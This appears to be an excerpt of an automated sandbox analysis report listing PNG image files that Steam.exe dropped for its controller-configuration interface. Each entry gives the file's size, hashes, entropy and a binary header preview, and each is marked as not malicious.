Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_list_icon.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 400 x 271, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	37177
Entropy (8bit):	7.983427282479098
Encrypted:	false
SSDEEP:
MD5:	29C77908965C3C65DDF32717DAB41C13
SHA1:	1D7B2196440989CD7FAE417775F1218FD375C854
SHA-256:	BF2D66818A4026DF23EA89B3613444FE96FEF08194E152C45E60DD43B9416D5C
SHA-512:	9D13EC26525CB9F48CB963D57A7E2D58E8E20FD5522F3994F8559344FAD6D1031BD12B9ED81EC1488DF594AF337BCF1D5434DBCC1EFDAF2ADA9667A3F13D9A8D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_virtual_gamepad_bg.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 420, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	63648
Entropy (8bit):	7.98177994202084
Encrypted:	false
SSDEEP:
MD5:	DD24F003C73E7F7252F2E17E2F4F89D4
SHA1:	E73C5CDD8C3BFD937592FA583AF1D4BFF66E19EF
SHA-256:	03C96E5239B86430E35DAB91E3FDC36C1B95341E0D13443D8D9CD84339A9461D
SHA-512:	5A1B01028A05E763C38EC5B0E31ABADF6552E0B6BE3E5F57A134335C23BCA972E3FC46940C0FCAE131C4D0D43AB3FE87A312B9BFE72945E0D5AB867A2014DAA6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............G.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_virtual_gamepad_full_a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 420, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	63035
Entropy (8bit):	7.979596513800763
Encrypted:	false
SSDEEP:
MD5:	06A7D1BBFE292A43E992E4F8C4774CB0
SHA1:	53E56B9F24589DC07DE421F43304995C5084BCA0
SHA-256:	D9285F12FD326A3C1D4C2A077CB769F287E953E05E7E8F77C22263262759817B
SHA-512:	65D32A367508D4BA8A4B989B7F5719AE77796B98A0CBB69C029D402C5B259CC5F8CC2A1C6401FE978AA5D676073C1746E92B8C59439A36179FA60178A6D6377B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............G.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_virtual_gamepad_full_move_dn.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 420, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	78456
Entropy (8bit):	7.31634758105091
Encrypted:	false
SSDEEP:
MD5:	BB38A6F0E48A4BE8FF5731653073655E
SHA1:	E2259919B1BD6C70E4E3E51A1A43A220915228FF
SHA-256:	1D9DE71D36C3DE83994085FCE4C532EBB2E54AE7182EF21336CEC830949F4582
SHA-512:	0EEB74FD58B00802FFC88E931288ED4D3B41DF63E371EB9ADF1904FB8B0091C3302587C82951D6395D6FCFDDF6C57AB866C2B3EE26D04FB3BAED1B5555B3FC6C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............G.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_virtual_gamepad_full_move_lt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 420, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	64091
Entropy (8bit):	7.980121786582832
Encrypted:	false
SSDEEP:
MD5:	C8A773E381BA4EF71D14AA0B9225AA9D
SHA1:	1C2E73527DD5FDA3D9F6CB5005D6F34AE4695751
SHA-256:	2311E02BE67FF3752724D9361C56A545CC880D68211BAEA79C7CB71EE52F0671
SHA-512:	6E6705EADE046C68F4ECE754F8F88CD57AB9B38682A98082C167B589E45686BD19A8ACCEA8F587FBD5E35A7955976B69B335D6C670F12A83907FCBB8E9183C70
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............G.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_virtual_gamepad_full_move_rt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 420, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	64036
Entropy (8bit):	7.979771418140057
Encrypted:	false
SSDEEP:
MD5:	F2558CF06A9B17A2253116CAE5590AA5
SHA1:	5847294278A2A577DC6D12364C56EF061682A2E6
SHA-256:	8B3FE8F23A78CDCED026DA0328B8F0BC98751F3027D9C727F9B062EE55A2C1CB
SHA-512:	5A15A8D0AB84BFEE0BBD197010750D1276967E74FCD48A28AA5A20CB81C8761FBF13EE6A8B130395D6A3DE3FB613364F4381FED551DF211CC0CEDB528FDE3C3C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............G.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_virtual_gamepad_full_system.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 420, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	62852
Entropy (8bit):	7.978199594524654
Encrypted:	false
SSDEEP:
MD5:	317A6233A84647E2B8346A1AF4FCC279
SHA1:	1B7B2C15DA0D484BC8DB3B8FB793FC9E78C0E54D
SHA-256:	DFC78CD6CA2836EED6F736FE2CE1D4E3721D93AC43C658A555B2858AEFEF38BC
SHA-512:	FFD987E7C7D8BC7BE208B024C123AC9E78DF3DED9DDB506FDC4970BD2A3044FFA5F2232D2BC61DA8C1FEC62CBB8707CB611A2AA24F050E4E7FB7E3629B6895BB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............G.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\centerpad_split.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 400 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6039
Entropy (8bit):	7.871858878503919
Encrypted:	false
SSDEEP:
MD5:	058AFDBA77E344BE3AC9E3758B9E5760
SHA1:	9E6FBF7CD95B9D5FAFC3A848844EC5C78D15B2F1
SHA-256:	537A7CE12324468578127D37F7E67A069D97E4078840B0D0598BB4600888E1BF
SHA-512:	EAB4FF98E681231016C7A40F287C125F07055599E7B02AEF04DAD9C4195FA87E77002E7A32E3FAB25B405B7EC561C478656CEC3538070DEB23567D68D9D0E71E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\centerpad_unified.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 400 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5940
Entropy (8bit):	7.870043005471153
Encrypted:	false
SSDEEP:
MD5:	CDD960D9B1329D083640FB33F88DAC27
SHA1:	A9609A76F1351113CF4DFA4E28F2F14990AECB4E
SHA-256:	86D5D2A51BC9920303DAEE98F997F544BF9F2AE6CD05213C0F2243C68034652C
SHA-512:	125045FFAC77342447F8241B52FB7A8C38A7A783D2CB6BED774B460337039188EC48AA78980B928E5CFCF11B6348FF0546E46E9AC09A62603874043A80F3992C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_button_a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10945
Entropy (8bit):	7.967167059945807
Encrypted:	false
SSDEEP:
MD5:	8C369FFB00B3129665FEF5A1BD2381DF
SHA1:	9FA49AD02875174074D6E7617531EE75228E1A40
SHA-256:	41CDEC6E0AB30EB5A3305E41DADD9AE84B6BD9B6990E93B0938DA81D9B23008F
SHA-512:	1C7B1F5FA6A0B6A257C92F90E686ECE701D868D62A95994C5D2A88D11D89C6E02EC42D4DD61D991BEB49E800E5889EDB7787A15649BBFE72D07DD375832F12B9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_button_b.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7563
Entropy (8bit):	7.958568808179826
Encrypted:	false
SSDEEP:
MD5:	F57D0C1E82E19C9E834D79B83ED5D694
SHA1:	82A7908E1C4CC69E27B548C3D78593AE81BFE644
SHA-256:	D4176D79E7B5013DF5A00B552CEB27F55D15CC011E81DA3E38CC7A210985BD25
SHA-512:	E1330AA3B98EB77CF7ACA62664FB8A866045384D44BFB3C0A2F409E79F620E90BE72B25E2BEAE22D0CB156D78CC62A6B3D88BA09F097F9895AFABA3F9D01F91C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....tEXtSoftware.Adobe ImageReadyq.e<...-IDATx..].\S....,$!.Uv...P.E..Q.q..>m.Kk.Z.}..j.]...u...j..j..Z.K. .....+...$...9.h..BT.....(....9.9....a).J.0...P}}=..^.G............a.Q.........P}].b.X.E.....YXX...,....X...jjB\...QQ....yzz...T...4.5..\|33.........4.......o.>.2e......BG'......].....2.VV_/.....T....2.LL......k..:[;.j..@%........R.q.y.&N(>....3g..wwwo...FK.-E.I......{.UVV.....QQa!..+.?WWW.{.~.B.P(...#r..]OOG.....?cUU.jhh@...=...CG.Gt..o( ..WT..E..=g6..}...B......a.D&&XiT....j.....GH.+.vl.6V.V..-(...h..4...o.!.M 6.M..$I....Y]Um'......H..R.........8~..x<.L&/033.k7..91!....t\|...5....iB...\..[ZDx$.c.L=..iUU....$$I..R0...h..>+2.u...@h..\...G. ..-o.^..7../....S...M........w..T.H.....@....H>.....v~.....y)..ax...9e.5.J...Z.O.........3(Y.........-,.9.....'L..]..b..U\|..qO....&....bhjr..o....u...F0..H....;..g..[../...\|...uf.............q.?........)_.M9&l.b/.>.-%e.&k" G.l..y.=7i'f9.9.Y.Y..O.z......!{.E..@.hU.{.@g.o..}..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_button_x.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8398
Entropy (8bit):	7.967167868347287
Encrypted:	false
SSDEEP:
MD5:	B8CAF4041EA2AA3CDA1EE72FB270B135
SHA1:	917F4BE2822C886E949D7ACE2AFD534D776721A1
SHA-256:	DDCC1FE464995C2EC00F0C5B1C132DA89EF87C54D7EB0908E2B4AE5B1733D3D5
SHA-512:	59F6642FF75A8AEF02198E1F7A6A540305FC248FF88692F122DE0BA24647A7065F38ADC70F550F3BF6B20DC4E920B2C42E43F39B3BD17DFB9EEA99ABEF500398
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....tEXtSoftware.Adobe ImageReadyq.e<.. pIDATx..].\...?...l...(.h......kVf...f.gf....n.n.n7..L...f.+.l........03..=...^S..dyg...0........<.URR....EAqq1......L...F...B....#F...K.....d..PXP.....b...zzzAV.......\.Ni)..F.....!.G.HLH..n.@..@UU...F.."..... )!.\|.\|.".."........p..Q..s..LLL.I..2 j. ...:auu.D.V........'.ah.&%..\|.........]!.J....QC....=...m?UO.2..W........_.....9..n.].7a<4..P...AAA.gO.~.n.u.....ZF@` .........`2...... .}....q..&y&......;w.......$..p8..s........f.iF...\.8?7o....%.1J.R.....N...f4.h..{qZ>..^f&..O..?...\|....{..q8~.(^GN..7..]...u.rJJ:y.5B.Z.@@..N{.v..fb.@.i@b.....\8..I.N.XYYYwh$......FbR.s()..h<....;..z.4..a.;.....c......=.{p..D+%i..._.a.'......\|....>.7.....N.[^.E...B0......{T........"...@...%.}RbR........W."J%.n.p8N.h.M.EC.O..#!...........%X......3...2.:....,.._...FY...t)..........{F..d.....& .....{)99y..l.(.(}.6`.....0..!......>.Qxx.n...Mb.8.D...'..k.9l......WR.gfd.&_..!.....g....\|R.RA...!!.z.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_button_y.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7443
Entropy (8bit):	7.965209216922798
Encrypted:	false
SSDEEP:
MD5:	07A94517E1988A2B70B5DE0427EE8EC9
SHA1:	CF23563A755981C14DA2E72FD361DB23F655C0BE
SHA-256:	C6EAAEB8D4996F05820FCF1D6F6677352F0EF961D6FACF5D1FD50A5B30192D2A
SHA-512:	D49D404B90E2073213B8A1A0B080E69B99F83CCB511B9F5446D1F3619F0FC3BA60DC837DB325183BAE58C38F724D9C52A07A92ED33E12F5A0C3A040A7AF4101A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx..].\TW.?..3...........,...k...D..d..o7f...&1.(v.).."......APAz..`.....+.(ef....o.7...?.s..2.R)<.0..P...?.V..?.......].KKK.......(+-...F......@.<........_ogg.YYY.....JE...@...r.(..........G....=0r.(..0"2..~.}PPpO.;[..))=.N.....w.p..I}..B....E6.`...j...v..9d\|k.\.../\.P.5zt~Xxx........o......S.o_.........+W..\|>[..j.....!.<?...&..........%%...f.A p.''G...WVT..q. ..y..x....B..j...<......3L.0....t.0...........I..'.........ys.c.......=\|..K..(..=J......aA%i5Z.h5......c....h.Z.=.>z..b.R..T^.p.......34.s.....h..=.=..\}..E....[PP.B...tl,...&..".. ....ZZ1.........%..^.......x..2...^nn.......$..M".?.....l.. .P..T .C....3.f.\|..!..Z+.FM.P..r.^D..H.y...V,A.F.{>.Y\|.3..zU...q....a.N.g....hF....CP...dR.=...$.;7.....b1..6..j...........0.7.]..v5#...........~....\|...?....x..Y...0)1qNyY./z..(.U0.....$l.................n+....`..<).[.......?&%$...D.:.06.....=..8.....H&.......n...'t.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_bg.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1800 x 878, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	49996
Entropy (8bit):	7.869441333581029
Encrypted:	false
SSDEEP:
MD5:	DD3828F072E744F712E1044ECDE5FD08
SHA1:	E04A3CE372FA2E251AB0C46D6F8A64866F688A2A
SHA-256:	4358F9DF9AAF7D51F404B1935C5076330D31B374DA82B3A89A467CEF54CEBE75
SHA-512:	B8E67D31F3A619495D09B9D9A56A105981212338F2EB89B97F8BC9B37A558EDF2DEB7ADD13280C7A7A26C449DBBB9CEBAF1D132A763EFD1B49D5735500C24F0F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......n............pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

